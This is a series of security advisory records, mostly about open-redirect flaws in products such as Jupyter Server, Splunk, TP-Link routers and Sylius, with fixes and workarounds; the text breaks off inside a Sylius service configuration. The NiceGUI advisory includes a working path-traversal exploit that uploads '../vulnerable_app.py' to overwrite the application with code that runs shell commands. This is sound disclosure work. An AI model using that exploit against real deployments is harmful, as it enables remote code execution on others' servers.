CWE-601

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.6.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-522",
      "CWE-601"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-01T22:09:28Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nMCP SSE redirects could forward Authorization headers. In affected versions, a lower-trust caller or configured input path could execute or persist actions beyond the caller\u0027s intended authorization.\n\nThis advisory is scoped to the named feature and configuration. It does not change OpenClaw\u0027s trusted-operator model: authenticated Gateway operators, installed plugins, and intentional local execution surfaces remain trusted unless a separate policy, approval, allowlist, sandbox, or auth boundary is crossed.\n\n### Impact\n\nWhen the affected feature is enabled and reachable, this could execute or persist actions beyond the caller\u0027s intended authorization. Practical impact depends on the operator\u0027s configuration and whether lower-trust input can reach that path.\n\n### Patched Versions\n\nThe first stable patched version is `2026.6.5`.\n\n### Mitigations\n\nUpgrade to a patched OpenClaw release when one is listed. Before upgrading, restrict the affected feature to trusted operators or disable it when it is not needed. As general hardening, keep channel and tool allowlists narrow, avoid sharing one Gateway between mutually untrusted users, and disable the affected feature when it is not needed.",
  "id": "GHSA-9c3v-684m-579c",
  "modified": "2026-07-01T22:09:28Z",
  "published": "2026-07-01T22:09:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-9c3v-684m-579c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenClaw MCP SSE redirects could forward Authorization headers"
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-48325"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-12-07T12:15:08Z",
    "severity": "MODERATE"
  },
  "details": "URL Redirection to Untrusted Site (\u0027Open Redirect\u0027) vulnerability in PluginOps Landing Page Builder \u2013 Lead Page \u2013 Optin Page \u2013 Squeeze Page \u2013 WordPress Landing Pages.This issue affects Landing Page Builder \u2013 Lead Page \u2013 Optin Page \u2013 Squeeze Page \u2013 WordPress Landing Pages: from n/a through 1.5.1.5.",
  "id": "GHSA-9crg-5w6x-58m3",
  "modified": "2026-04-28T21:33:18Z",
  "published": "2023-12-07T12:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-48325"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/page-builder-add/wordpress-landing-page-builder-plugin-1-5-1-5-open-redirection-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-20355"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-13T17:15:46Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability in the web-based management interface of Cisco Catalyst Center Virtual Appliance could allow an unauthenticated, remote attacker to redirect a user to a malicious web page.\n\nThis vulnerability is due to improper input validation of HTTP request parameters. An attacker could exploit this vulnerability by intercepting and modifying an HTTP request from a user. A successful exploit could allow the attacker to redirect the user to a malicious web page.",
  "id": "GHSA-9f26-h7x7-2mc5",
  "modified": "2025-11-13T18:31:05Z",
  "published": "2025-11-13T18:31:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-20355"
    },
    {
      "type": "WEB",
      "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-catc-open-redirect-3W5Bk3Je"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-28069"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-04-05T08:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Dell Streaming Data Platform prior to 1.4 contains Open Redirect vulnerability. An attacker with privileges same as a legitimate user can phish the legitimate the user to redirect to malicious website leading to information disclosure and launch of phishing attacks.",
  "id": "GHSA-9f26-x9xc-53j5",
  "modified": "2023-04-11T15:30:29Z",
  "published": "2023-04-05T09:30:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-28069"
    },
    {
      "type": "WEB",
      "url": "https://www.dell.com/support/kbdoc/en-us/000204266/dsa-2022-258-dell-streaming-data-platform-security-update-for-multiple-third-party-component-vulnerabilities"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "jupyter-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-26275"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-12-21T18:00:51Z",
    "nvd_published_at": "2020-12-21T18:15:00Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nOpen redirect vulnerability - a maliciously crafted link to a jupyter server could redirect the browser to a different website.\n\nAll jupyter servers running without a base_url prefix are technically affected, however, these maliciously crafted links can only be reasonably made for known jupyter server hosts. A link to your jupyter server may *appear* safe, but ultimately redirect to a spoofed server on the public internet. This same vulnerability was patched in upstream notebook v5.7.8.\n\n### Patches\n\n_Has the problem been patched? What versions should users upgrade to?_\n\nPatched in jupyter_server 1.1.1. If upgrade is not available, a workaround can be to run your server on a url prefix:\n\n```\njupyter server --ServerApp.base_url=/jupyter/\n```\n\n### References\n\n[OWASP page on open redirects](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n\n### For more information\n\nIf you have any questions or comments about this advisory, or vulnerabilities to report, please email our security list [security@ipython.org](mailto:security@ipython.org).\n\nCredit: Yaniv Nizry from CxSCA group at Checkmarx",
  "id": "GHSA-9f66-54xg-pc2c",
  "modified": "2026-05-19T20:24:16Z",
  "published": "2020-12-21T18:01:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jupyter-server/jupyter_server/security/advisories/GHSA-9f66-54xg-pc2c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-26275"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jupyter-server/jupyter_server/commit/85e4abccf6ea9321d29153f73b0bd72ccb3a6bca"
    },
    {
      "type": "WEB",
      "url": "https://advisory.checkmarx.net/advisory/CX-2020-4291"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jupyter-server/jupyter_server"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/jupyter-server/PYSEC-2020-346.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/jupyter-server/PYSEC-2020-50.yaml"
    },
    {
      "type": "WEB",
      "url": "https://pypi.org/project/jupyter-server"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Jupyter Server open redirect vulnerability"
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-57872"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-29T19:15:36Z",
    "severity": "MODERATE"
  },
  "details": "There is an unvalidated redirect vulnerability in Esri Portal for ArcGIS 11.4 and below that may allow a remote, unauthenticated attacker to craft a URL that could redirect a victim to an arbitrary website, simplifying phishing attacks.",
  "id": "GHSA-9f6w-rgf8-6mqh",
  "modified": "2025-09-29T21:30:26Z",
  "published": "2025-09-29T21:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-57872"
    },
    {
      "type": "WEB",
      "url": "https://www.esri.com/arcgis-blog/products/trust-arcgis/administration/portal-for-arcgis-security-2025-update-3-patch"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-20382"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-03T17:15:50Z",
    "severity": "LOW"
  },
  "details": "In Splunk Enterprise versions below 10.0.2, 9.4.6, 9.3.8, and 9.2.10, and Splunk Cloud Platform versions below 10.1.2507.10, 10.0.2503.8, and 9.3.2411.120, a low-privileged user that does not hold the \"admin\" or \"power\" Splunk roles could create a views dashboard with a custom background using the `data:image/png;base64` protocol that could potentially lead to an unvalidated redirect. This behavior circumvents the Splunk external URL warning mechanism by using a specially crafted URL, allowing for a redirection to an external malicious site. The vulnerability requires the attacker to phish the victim by tricking them into initiating a request within their browser. The authenticated user should not be able to exploit the vulnerability at will.",
  "id": "GHSA-9f8g-g258-v49c",
  "modified": "2025-12-03T18:30:25Z",
  "published": "2025-12-03T18:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-20382"
    },
    {
      "type": "WEB",
      "url": "https://advisory.splunk.com/advisories/SVD-2025-1201"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-10562"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-30T21:16:30Z",
    "severity": "MODERATE"
  },
  "details": "An\nunauthenticated URL redirection vulnerability has been identified in Archer\nAX20 V2 due to improper validation of user-supplied URL input within the web\ninterface.\u00a0 An unauthenticated attacker\ncan craft URLs containing URL-encoded path traversal sequences.\n\n\n\n\n\nWhen\nprocessed by the embedded web server, these inputs may cause the device to\nrespond with HTTP 3xx redirects to attacker-controlled external domains.\n\n\n\nThis issue affects Archer AX20 V2.0: through 2.1.9 Build 20230829.",
  "id": "GHSA-9f8x-rqfg-wvvg",
  "modified": "2026-06-30T21:31:45Z",
  "published": "2026-06-30T21:31:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-10562"
    },
    {
      "type": "WEB",
      "url": "https://www.tp-link.com/en/support/download/archer-ax20/v2/#Firmware"
    },
    {
      "type": "WEB",
      "url": "https://www.tp-link.com/en/support/faq/5156"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.6.1"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "nicegui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25732"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-601"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-05T21:08:53Z",
    "nvd_published_at": "2026-02-06T22:16:11Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nNiceGUI\u0027s `FileUpload.name` property exposes client-supplied filename metadata without sanitization, enabling path traversal when developers use the pattern `UPLOAD_DIR / file.name`. Malicious filenames containing `../` sequences allow attackers to write files outside intended directories, with potential for remote code execution through application file overwrites in vulnerable deployment patterns. This design creates a prevalent security footgun affecting applications following common community patterns.\n\n**Note**: Exploitation requires application code incorporating `file.name` into filesystem paths without sanitization. Applications using fixed paths, generated filenames, or explicit sanitization are not affected.\n\n### Details\n**Vulnerable Component**: `nicegui/elements/upload_files.py` ([upload_files.py#L79-L82](https://github.com/zauberzeug/nicegui/blob/main/nicegui/elements/upload_files.py#L79-L82) and [upload_files.py#L110-L115](https://github.com/zauberzeug/nicegui/blob/main/nicegui/elements/upload_files.py#L110-L115))\n\n**Affected Methods**: `SmallFileUpload.save()`and `LargeFileUpload.save()`\n\n```py\nasync def save(self, path: str | Path) -\u003e None:\n    target = Path(path)\n    target.parent.mkdir(parents=True, exist_ok=True)\n    await run.io_bound(target.write_bytes, self._data)\n```\n\n**Root Cause**: The `save()` method performs no validation on the provided path parameter. It accepts:\n- Relative paths with `../` sequences\n- Absolute paths\n- Any file system location writable by the process\n\nWhen developers use `e.file.name` (controlled by the attacker) in constructing save paths, directory traversal occurs:\n```py\nsave_path = UPLOAD_DIR / e.file.name  # e.file.name = \"../app.py\"\nawait e.file.save(save_path)           # Writes outside UPLOAD_DIR\n```\n\n### PoC\n- Terminal 1 (App)\n```bash\ncd /tmp \u0026\u0026 mkdir -p evilgui \u0026\u0026 cd evilgui\npython3 -m venv evilgui \u0026\u0026 source evilgui/bin/activate\npip install nicegui\n\ncat \u003e vulnerable_app.py \u003c\u003c \u0027EOF\u0027\nfrom nicegui import ui\nfrom pathlib import Path\n\nUPLOAD_DIR = Path(\u0027./uploads\u0027)\nUPLOAD_DIR.mkdir(exist_ok=True)\n\n@ui.page(\u0027/\u0027)\ndef index():\n    async def handle_upload(e):\n        save_path = UPLOAD_DIR / e.file.name\n        await e.file.save(save_path)\n        ui.notify(f\u0027File saved: {e.file.name}\u0027)\n    \n    ui.upload(on_upload=handle_upload, auto_upload=True)\n\nui.run(port=8080, reload=False)\nEOF\n\npython3 vulnerable_app.py \u0026\n```\n\n- Terminal 2 (Exploit)\n```bash\ncat \u003e exploit.py \u003c\u003c \u0027EOF\u0027\nimport requests, re, time\n\ns = requests.Session()\ns.get(\u0027http://localhost:8080\u0027)\ntime.sleep(2)\n\nhtml = s.get(\u0027http://localhost:8080\u0027).text\nmatch = re.search(r\u0027/_nicegui/client/([^/]+)/upload/(\\d+)\u0027, html)\nupload_url = f\u0027http://localhost:8080/_nicegui/client/{match[1]}/upload/{match[2]}\u0027\n\npayload = \u0027\u0027\u0027from nicegui import ui\nimport subprocess\n@ui.page(\"/\")\ndef index():\n    ui.label(subprocess.check_output([\"id\"], text=True))\nui.run(port=8080, reload=False)\n\u0027\u0027\u0027\n\ns.post(upload_url, files={\u0027file\u0027: (\u0027../vulnerable_app.py\u0027, payload, \u0027text/x-python\u0027)})\nEOF\n\npython3 exploit.py\n```\n- Restart the application to execute the injected code:\n```\npkill -f vulnerable_app \u0026\u0026 python3 vulnerable_app.py\n```\n- Observe http://localhost:8080\n\n### Impact\n**Affected Applications**: All NiceGUI applications using `ui.upload()` where developers save files with `e.file.save()` and include user-controlled filenames (e.g., `e.file.name`) in the path.\n\n**Attack Capabilities**:\n- Write files to any location writable by the application process\n- Overwrite Python application files to achieve remote code execution upon restart\n- Overwrite configuration files to alter application behavior\n- Write SSH keys, systemd units, or cron jobs for persistent access\n- Deny service by corrupting critical files\n\n**Exploitability**: Trivially exploitable without authentication. Attackers simply upload a file with a malicious filename like `../../../app.py` to escape the upload directory. The vulnerability is prevalent in production applications as developers naturally use `e.file.name` directly, following patterns shown in community examples.\n\n### Remediation\n#### For Users\n```py\nasync def handle_upload(e):\n    safe_name = Path(e.file.name).name # Strip directory components!\n    await e.file.save(UPLOAD_DIR / safe_name)\n```\n\n#### For Maintainers\n```py\nasync def save(self, path: str | Path, *, base_dir: Path | None = None) -\u003e None:\n    target = Path(path).resolve()\n    \n    if base_dir is not None:\n        base_dir = base_dir.resolve()\n        if not target.is_relative_to(base_dir):\n            raise ValueError(\n                f\"Path \u0027{target}\u0027 escapes base directory \u0027{base_dir}\u0027\"\n            )\n    \n    target.parent.mkdir(parents=True, exist_ok=True)\n    await run.io_bound(target.write_bytes, self._data)\n````",
  "id": "GHSA-9ffm-fxg3-xrhh",
  "modified": "2026-06-06T14:45:40Z",
  "published": "2026-02-05T21:08:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/zauberzeug/nicegui/security/advisories/GHSA-9ffm-fxg3-xrhh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25732"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/nicegui/PYSEC-2026-95.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/zauberzeug/nicegui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zauberzeug/nicegui/blob/main/nicegui/elements/upload_files.py#L110-L115"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zauberzeug/nicegui/blob/main/nicegui/elements/upload_files.py#L79-L82"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "NiceGUI\u0027s Path Traversal via Unsanitized FileUpload.name Enables Arbitrary File Write"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.9.11"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "sylius/sylius"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.9.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.10.15"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "sylius/sylius"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.10.0"
            },
            {
              "fixed": "1.10.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.11.16"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "sylius/sylius"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.11.0"
            },
            {
              "fixed": "1.11.17"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.12.22"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "sylius/sylius"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.12.0"
            },
            {
              "fixed": "1.12.23"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.13.14"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "sylius/sylius"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.13.0"
            },
            {
              "fixed": "1.13.15"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.14.17"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "sylius/sylius"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.14.0"
            },
            {
              "fixed": "1.14.18"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.0.15"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "sylius/sylius"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.0.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.1.11"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "sylius/sylius"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.1.0"
            },
            {
              "fixed": "2.1.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.2.2"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "sylius/sylius"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.2.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-31819"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-11T00:12:29Z",
    "nvd_published_at": "2026-03-10T22:16:19Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n`CurrencySwitchController::switchAction()`, `ImpersonateUserController::impersonateAction()` and `StorageBasedLocaleSwitcher::handle()` use the HTTP Referer header directly when redirecting.\n\nThe attack requires the victim to click a legitimate application link placed on an attacker-controlled page. The browser automatically sends the attacker\u0027s site as the Referer, and the application redirects back to it. This can be used for phishing or credential theft, as the redirect originates from a trusted domain.\n\nThe severity varies by endpoint; public endpoints require no authentication and are trivially exploitable, while admin-only endpoints require an authenticated session but remain vulnerable if an admin follows a link from an external source such as email or chat.\n\nAffected classes:\n- `CurrencySwitchController::switchAction()` - public\n- `StorageBasedLocaleSwitcher::handle()` - public, used in locale switching without having locale in the `url`\n- `ImpersonateUserController::impersonateAction()` - admin-only\n\n### Patches\nThe issue is fixed in versions: 1.9.12, 1.10.16, 1.11.17, 1.12.23, 1.13.15, 1.14.18, 2.0.16, 2.1.12, 2.2.3 and above.\n\n### Workarounds\nIf you cannot update Sylius immediately, copy the affected classes from vendor to your project\u0027s `src/` directory, apply the fix, and override the service definitions.\n\n#### Step 1 - CurrencySwitchController\n\nCopy from `vendor/sylius/sylius/src/Sylius/Bundle/ShopBundle/Controller/CurrencySwitchController.php` to `src/Controller/CurrencySwitchController.php` and apply the following changes:\n\n```diff\n-namespace Sylius\\Bundle\\ShopBundle\\Controller;\n+namespace App\\Controller;\n\n use Sylius\\Component\\Channel\\Context\\ChannelContextInterface;\n use Sylius\\Component\\Core\\Currency\\CurrencyStorageInterface;\n use Sylius\\Component\\Core\\Model\\ChannelInterface;\n use Symfony\\Component\\HttpFoundation\\RedirectResponse;\n use Symfony\\Component\\HttpFoundation\\Request;\n use Symfony\\Component\\HttpFoundation\\Response;\n+use Symfony\\Component\\Routing\\RouterInterface;\n\n final class CurrencySwitchController\n {\n     public function __construct(\n         private Environment $templatingEngine, // for 1.x version\n         private CurrencyStorageInterface $currencyStorage,\n         private ChannelContextInterface $channelContext,\n+        private RouterInterface $router,\n     ) {\n     }\n\n     public function switchAction(Request $request, string $code): Response\n     {\n         /** @var ChannelInterface $channel */\n         $channel = $this-\u003echannelContext-\u003egetChannel();\n\n         $this-\u003ecurrencyStorage-\u003eset($channel, $code);\n\n-        return new RedirectResponse($request-\u003eheaders-\u003eget(\u0027referer\u0027, $request-\u003egetSchemeAndHttpHost()));\n+        return new RedirectResponse($this-\u003erouter-\u003egenerate(\u0027sylius_shop_homepage\u0027));\n     }\n }\n```\n\n#### Step 2 - ImpersonateUserController\n\nCopy from `vendor/sylius/sylius/src/Sylius/Bundle/AdminBundle/Controller/ImpersonateUserController.php` to `src/Controller/Admin/ImpersonateUserController.php` and apply the following changes:\n\n```diff\n-namespace Sylius\\Bundle\\AdminBundle\\Controller;\n+namespace App\\Controller\\Admin;\n\n // ... (keep all existing use statements)\n\n     public function impersonateAction(Request $request, string $username): Response\n     {\n         // ... (keep authorization check and impersonation logic)\n\n         $this-\u003eaddFlash($request, $username);\n\n-        $redirectUrl = $request-\u003eheaders-\u003eget(\n-            \u0027referer\u0027,\n+        return new RedirectResponse(\n             $this-\u003erouter-\u003egenerate(\u0027sylius_admin_customer_show\u0027, [\u0027id\u0027 =\u003e $user-\u003egetId()])\n         );\n-\n-        return new RedirectResponse($redirectUrl);\n     }\n```\n\n#### Step 3 - StorageBasedLocaleSwitcher (only if you use `locale_switcher: storage`)\n\n\u003e **Note:** Skip this step if you use the default `locale_switcher: url` mode.\n\nCopy from `vendor/sylius/sylius/src/Sylius/Bundle/ShopBundle/Locale/StorageBasedLocaleSwitcher.php` to `src/Locale/StorageBasedLocaleSwitcher.php` and apply the following changes:\n\n**For Sylius 1.9 \u2013 2.1.2:**\n\n```diff\n-namespace Sylius\\Bundle\\ShopBundle\\Locale;\n+namespace App\\Locale;\n\n use Sylius\\Bundle\\ShopBundle\\Locale\\LocaleSwitcherInterface;\n use Sylius\\Component\\Channel\\Context\\ChannelContextInterface;\n use Sylius\\Component\\Core\\Locale\\LocaleStorageInterface;\n use Symfony\\Component\\HttpFoundation\\RedirectResponse;\n use Symfony\\Component\\HttpFoundation\\Request;\n+use Symfony\\Component\\Routing\\RouterInterface;\n\n final class StorageBasedLocaleSwitcher implements LocaleSwitcherInterface\n {\n     public function __construct(\n         private LocaleStorageInterface $localeStorage,\n         private ChannelContextInterface $channelContext,\n+        private RouterInterface $router,\n     ) {\n     }\n\n     public function handle(Request $request, string $localeCode): RedirectResponse\n     {\n         $this-\u003elocaleStorage-\u003eset($this-\u003echannelContext-\u003egetChannel(), $localeCode);\n\n-        return new RedirectResponse($request-\u003eheaders-\u003eget(\u0027referer\u0027, $request-\u003egetSchemeAndHttpHost()));\n+        return new RedirectResponse($this-\u003erouter-\u003egenerate(\u0027sylius_shop_homepage\u0027));\n     }\n }\n```\n\n**For Sylius 2.1.3 and later:**\n\n\u003e In Sylius 2.1.3 the class was refactored to use `UrlMatcherInterface`. While this adds partial validation, it still passes the full referer URL to `RedirectResponse`, so the open redirect remains exploitable.\n\n```diff\n-namespace Sylius\\Bundle\\ShopBundle\\Locale;\n+namespace App\\Locale;\n\n use Sylius\\Bundle\\ShopBundle\\Locale\\LocaleSwitcherInterface;\n use Sylius\\Component\\Channel\\Context\\ChannelContextInterface;\n use Sylius\\Component\\Core\\Locale\\LocaleStorageInterface;\n use Symfony\\Component\\HttpFoundation\\RedirectResponse;\n use Symfony\\Component\\HttpFoundation\\Request;\n-use Symfony\\Component\\Routing\\Exception\\ResourceNotFoundException;\n-use Symfony\\Component\\Routing\\Matcher\\UrlMatcherInterface;\n+use Symfony\\Component\\Routing\\RouterInterface;\n\n final class StorageBasedLocaleSwitcher implements LocaleSwitcherInterface\n {\n     public function __construct(\n         private LocaleStorageInterface $localeStorage,\n         private ChannelContextInterface $channelContext,\n-        private ?UrlMatcherInterface $urlMatcher = null,\n+        private RouterInterface $router,\n     ) {\n-        if (null === $this-\u003eurlMatcher) {\n-            trigger_deprecation(\n-                \u0027sylius/shop-bundle\u0027,\n-                \u00272.1\u0027,\n-                \u0027Not passing a \"%s\" to \"%s\" is deprecated and will be required in Sylius 3.0.\u0027,\n-                UrlMatcherInterface::class,\n-                self::class,\n-            );\n-        }\n     }\n\n     public function handle(Request $request, string $localeCode): RedirectResponse\n     {\n         $this-\u003elocaleStorage-\u003eset($this-\u003echannelContext-\u003egetChannel(), $localeCode);\n-        $url = $request-\u003eheaders-\u003eget(\u0027referer\u0027, $request-\u003egetSchemeAndHttpHost());\n-\n-        if ($this-\u003eurlMatcher) {\n-            try {\n-                $this-\u003eurlMatcher-\u003ematch($url);\n-            } catch (ResourceNotFoundException) {\n-                return new RedirectResponse($request-\u003egetSchemeAndHttpHost());\n-            }\n-        }\n-\n-        return new RedirectResponse($url);\n+        return new RedirectResponse($this-\u003erouter-\u003egenerate(\u0027sylius_shop_homepage\u0027));\n     }\n }\n```\n\n#### Step 4 - Override the services\n\nAdd to `config/services.yaml`.\n\n**Sylius 1.x (1.9 \u2013 1.14):**\n\n```yaml\nservices:\n    # ... your existing services ...\n\n    sylius.controller.shop.currency_switch:\n        class: App\\Controller\\CurrencySwitchController\n        public: true\n        arguments:\n            $templatingEngine: \u0027@twig\u0027\n            $currencyStorage: \u0027@sylius.storage.currency\u0027\n            $channelContext: \u0027@sylius.context.channel\u0027\n            $router: \u0027@router\u0027\n\n    sylius.controller.shop.impersonate_user:\n        class: App\\Controller\\Admin\\ImpersonateUserController\n        public: true\n        arguments:\n            $impersonator: \u0027@sylius.admin.security.user_impersonator\u0027\n            $authorizationChecker: \u0027@security.authorization_checker\u0027\n            